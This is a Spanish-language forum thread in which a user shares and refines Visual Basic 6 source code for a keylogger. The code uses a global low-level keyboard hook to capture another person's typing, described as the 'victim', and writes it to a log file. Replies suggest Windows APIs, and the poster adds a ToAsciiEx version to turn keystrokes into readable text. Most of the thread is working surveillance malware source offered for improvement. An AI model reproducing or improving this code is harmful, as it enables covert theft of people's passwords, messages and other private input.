Intento mejorar el código de un keylogger que saque de unos hilos viejos. Mi idea es que no registre el código de las teclas, sino directamente el texto que escribe el usuario. Tirando un PostMessage WM_KEYDOWN hacia un TextBox. Añadiendo cierta compatibilidad para que el usuario/victima, pueda utilizar los signos de acentuación en teclados españoles.
Cualquier mejora o consejo es bienvenida.
Módulo:
Option Explicit
Private Declare Function LoadLibrary Lib "kernel32.dll" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As Long
Private Declare Function GetProcAddress Lib "kernel32.dll" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hMod As Long, ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Type KBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Public Const KEYEVENTF_KEYDOWN = &H0
Public Const KEYEVENTF_EXTENDEDKEY = &H1
Public Const KEYEVENTF_KEYUP = &H2
' Low-Level Keyboard Constants
Private Const HC_ACTION = 0
Private Const LLKHF_EXTENDED = &H1
Private Const LLKHF_INJECTED = &H10
Private Const LLKHF_ALTDOWN = &H20
Private Const LLKHF_UP = &H80
' Virtual Keys
Public Const VK_TAB = &H9
Public Const VK_CONTROL = &H11
Public Const VK_ESCAPE = &H1B
Public Const VK_DELETE = &H2E
Public Const VK_SHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Private Const WH_KEYBOARD_LL = 13&
'Private Const WH_KEYBOARD_LL As Long = 13
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_DEADCHAR = &H103
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Const WM_SYSCHAR = &H106
Private Const WM_SYSDEADCHAR = &H107
Private Const WM_IME_KEYDOWN = &H290
Public Buffer_Len As Integer
Public nFile As Integer
Dim Log_Path As String
Dim Last_Key As Long
Dim Last_Msg As Long
Dim Last_Shift As Boolean
Dim Shift_Trigger As Boolean
Dim hHook As Long
Public Sub Iniciar_Keylogger()
'Dim hMod As Long
Dim Header As String
Last_Key = 0
Last_Msg = 0
Last_Shift = False
Shift_Trigger = False
Buffer_Len = 30
Form1.txtLog.Text = vbNullString
Log_Path = App.Path & "\" & Format(Date, "yyyy-MM-dd")
nFile = FreeFile
Open Log_Path For Binary Access Write As #nFile
If LOF(nFile) > 0 Then
Seek #nFile, LOF(nFile) + 1
End If
Header = "[KEYLOGGER 1.0 - " & Format(Date, "yyyy-MM-dd hh:mm") & "]" & vbCrLf & "[INI]" & vbCrLf
Put #nFile, , Header
'hMod = GetProcAddress(LoadLibrary("USER32"), "SetWindowsHookExA")
'hHook = Invoke(hMod, WH_KEYBOARD_LL, AddressOf KBProc, 0, 0)
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0&) 'App.hInstance
End Sub
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
'On Error Resume Next
'Static KBMsg As KBDLLHOOKSTRUCT
Static i As Long
i = i + 1
If (nCode = HC_ACTION) Then
'Call CopyMemory(KBMsg, ByVal lParam, Len(KBMsg))
If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
If (lParam = 186) Then
If Shift_Trigger Then
Call Add_Text(Form1.txtLog, "^")
Else
Call Add_Text(Form1.txtLog, "`")
End If
Shift_Trigger = False
ElseIf (lParam = 222) Then
If Shift_Trigger Then
Call Add_Text(Form1.txtLog, "¨")
Else
Call Add_Text(Form1.txtLog, "´")
End If
Shift_Trigger = False
Else
If (Last_Key = 186 Or Last_Key = 222 Or lParam = 8) Then
Call Add_Text(Form1.txtLog, Chr(lParam))
Else
Call PostMessage(Form1.txtLog.hWnd, wParam, lParam, 0&)
End If
End If
'Detecta si shift está presionado
If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = True
Call Add_Text(Form1.Text2, "[" & i & "] DOWN " & lParam & " " & Last_Shift & vbNewLine)
End If
If (wParam = WM_KEYUP Or wParam = WM_SYSKEYUP) Then
If (lParam = 186 Or lParam = 222) Then
If Last_Shift Then
Shift_Trigger = True
End If
End If
'Detecta si shift se dejó de presionar
If (lParam = VK_SHIFT Or lParam = VK_RSHIFT) Then Last_Shift = False
Call Add_Text(Form1.Text2, "[" & i & "] UP " & lParam & " " & Last_Shift & vbNewLine)
End If
Last_Msg = wParam
Last_Key = lParam
End If
KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function
Public Sub Add_Text(objTextBox As TextBox, sText As String)
objTextBox.Text = objTextBox.Text & sText
objTextBox.SelStart = Len(objTextBox.Text)
End Sub
Public Sub Terminar_Keylogger()
'Dim hMod As Long
'hMod = GetProcAddress(LoadLibrary("USER32"), "UnhookWindowsHookEx")
'Call Invoke(hMod, hHook)
Call UnhookWindowsHookEx(hHook)
If Len(Form1.txtLog.Text) > 0 Then
Put #nFile, , Form1.txtLog.Text
End If
Put #nFile, , "[FIN]" & vbCrLf
Close #nFile
End Sub
Form1: (agregar un TextoBox: "txtLog" y "Text2", ambos MultiLine=True
Private Sub Form_Load()
Call Iniciar_Keylogger
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Terminar_Keylogger
End Sub
Private Sub txtLog_KeyPress(KeyAscii As Integer)
If Len(txtLog.Text) > Buffer_Len Then
Put #nFile, , txtLog.Text
txtLog.Text = vbNullString
End If
End Sub
¿Y que es lo que no entiendes?
Cita de: fary en 22 Enero 2020, 19:41 PM
¿Y que es lo que no entiendes?
En sí, no entiendo varias cosas. ¿Desde cuando lParam dejó de ser un puntero? ¿Por qué PostMessage dentro del hook en ciertas ocasiones anula el WM_DEADCHAR? ¿Alguno logró traducir las pulsaciones a texto usando ToAsciiEx o ToUnicode?
Bueno, en VB no existen los punteros por lo tanto no lo vas a poder manejar de la misma forma que otros lenguajes.
Por otro lado supongo que la API que no pudiste leer en el post de donde obtuviste ese código es GetKeyNameTextA.
https://docs.microsoft.com/es-es/windows/win32/api/winuser/nf-winuser-getkeynametexta
Espero haberte ayudado.
Logré implementar el API "AsciiEx":
Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
'On Error Resume Next
If (nCode = HC_ACTION) Then
If (wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN) Then
Dim KBState(255) As Byte
Dim ChrRet As Integer
Dim sChr As String
Dim ret As Long
Dim BufLen As Integer
BufLen = 5
ret = GetKeyboardState(KBState(0))
If ret > 0 Then
ret = ToAsciiEx(lParam, MapVirtualKeyEx(lParam, 2&, 0&), KBState(0), ChrRet, 0&, 0&)
'sChr = StrConv(sChr, vbFromUnicode)
'sChr = String(BufLen, Chr(0))
'ret = ToUnicode(85, MapVirtualKey(85, 0&), KBState(0), StrPtr(sChr), BufLen, 0&)
'ret = ToUnicodeEx(lParam, MapVirtualKeyEx(lParam, 0&, 0&), KBState(0), StrPtr(sChr), BufLen, 0&, 0&)
'sChr = Trim$(Replace$(sChr, Chr(0), vbNullString))
If ChrRet >= 0 And ChrRet < 256 Then
Call Add_Text(Form1.txtLog, Chr(ChrRet))
Else
Call Add_Text(Form1.txtLog, "[" & CStr(ChrRet) & "]")
End If
'Call Add_Text(Form1.txtLog, sChr)
End If
End If
End If
KBProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function
Aún estoy probando con "ToUnicode", pero no logro que funcione dentro del "hook proc". Cuando aparece un WM_DEADCHAR en el sistema, al parecer si se manipula el lParam dentro de un subclassing, lo hace saltar y envía WM_CHAR. Hasta ahora, la única solución que encontré es blockear la función del programa con las teclas que generan ese problema, son VKcode: 186 y 222.
Para resumir, si mi hook está activo, escribo en block de notas y si presiono la tecla de tilde (´), directamente se escribe: ´´. Y no espera la siguiente pulsación.